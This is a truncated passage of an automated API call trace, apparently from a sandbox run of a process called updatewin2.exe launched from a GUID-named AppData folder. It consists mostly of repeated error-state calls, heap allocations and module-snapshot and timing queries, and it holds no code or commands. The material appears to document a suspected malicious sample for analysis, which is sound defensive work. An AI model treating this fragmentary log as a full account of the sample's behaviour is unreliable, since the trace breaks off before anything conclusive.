¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0053.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n\x05\x1d\x84\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.117] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe")) returned 0x5f [0053.117] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.118] GetLastError () returned 0x0 [0053.118] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.119] SetLastError (dwErrCode=0x0) [0053.119] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.120] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.120] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.120] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.120] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.120] GetLastError () returned 0x0 [0053.120] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.124] SetLastError (dwErrCode=0x0) [0053.124] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.125] GetLastError () returned 0x0 [0053.125] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.126] SetLastError (dwErrCode=0x0) [0053.126] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.127] SetLastError (dwErrCode=0x0) [0053.127] GetLastError () returned 0x0 [0053.128] SetLastError (dwErrCode=0x0) [0053.128] GetLastError () returned 0x0 [0053.128] SetLastError (dwErrCode=0x0) [0053.130] GetLastError () returned 0x0 [0053.130] SetLastError (dwErrCode=0x0) [0053.130] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.131] GetLastError () returned 0x0 [0053.131] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x68) returned 0x3f1990 [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.132] SetLastError (dwErrCode=0x0) [0053.132] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.133] GetLastError () returned 0x0 [0053.133] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.134] SetLastError (dwErrCode=0x0) [0053.134] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.135] SetLastError (dwErrCode=0x0) [0053.135] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.136] SetLastError (dwErrCode=0x0) [0053.136] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.137] SetLastError (dwErrCode=0x0) [0053.137] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.138] GetLastError () returned 0x0 [0053.138] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] GetLastError () returned 0x0 [0053.139] SetLastError (dwErrCode=0x0) [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x3f1a00 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x3f1aa0 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x3f1ac8 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x3f1b08 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x3f1b48 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x3f1b90 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x17) returned 0x3f1bd0 [0053.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x24) returned 0x3f1bf0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x14) returned 0x3f1c20 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd) returned 0x3f1c40 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x3f1c58 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x3f1c88 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x3f1cd0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x17) returned 0x3f1cf0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe) returned 0x3f1d10 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x69) returned 0x3f1d28 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x3f1da0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x3f1de8 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x3f1e10 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x3f1e38 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x3f1e88 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x3f1ea8 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x3f1ec8 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x24) returned 0x3f1ef0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x3f1f20 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1e) returned 0x3f1f58 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x41) returned 0x3f1f80 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x17) returned 0x3f1fd0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf) returned 0x3f1ff0 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x16) returned 0x3f2008 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x3f2028 [0053.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x3f2060 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x15) returned 0x3f2098 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1e) returned 0x3f20b8 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x3f20e0 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x3f2118 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x3f2138 [0053.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x3f2158 [0053.216] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3f11f8 | out: hHeap=0x3f0000) returned 1 [0053.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x800) returned 0x3f21a8 [0053.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x3f11f8 [0053.218] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0053.218] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f11f8) returned 0x80 [0053.218] GetLastError () returned 0x0 [0053.218] SetLastError (dwErrCode=0x0) [0053.218] GetLastError () returned 0x0 [0053.218] SetLastError (dwErrCode=0x0) [0053.218] GetLastError () returned 0x0 [0053.218] SetLastError (dwErrCode=0x0) [0053.218] GetLastError () returned 0x0 [0053.219] SetLastError (dwErrCode=0x0) [0053.220] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.221] SetLastError (dwErrCode=0x0) [0053.221] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.224] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.224] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0053.224] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0053.226] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0053.226] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0053.226] GetTickCount () returned 0x1146a09 [0053.226] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.226] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.226] GetACP () returned 0x4e4 [0053.226] GetSystemTimes (in: 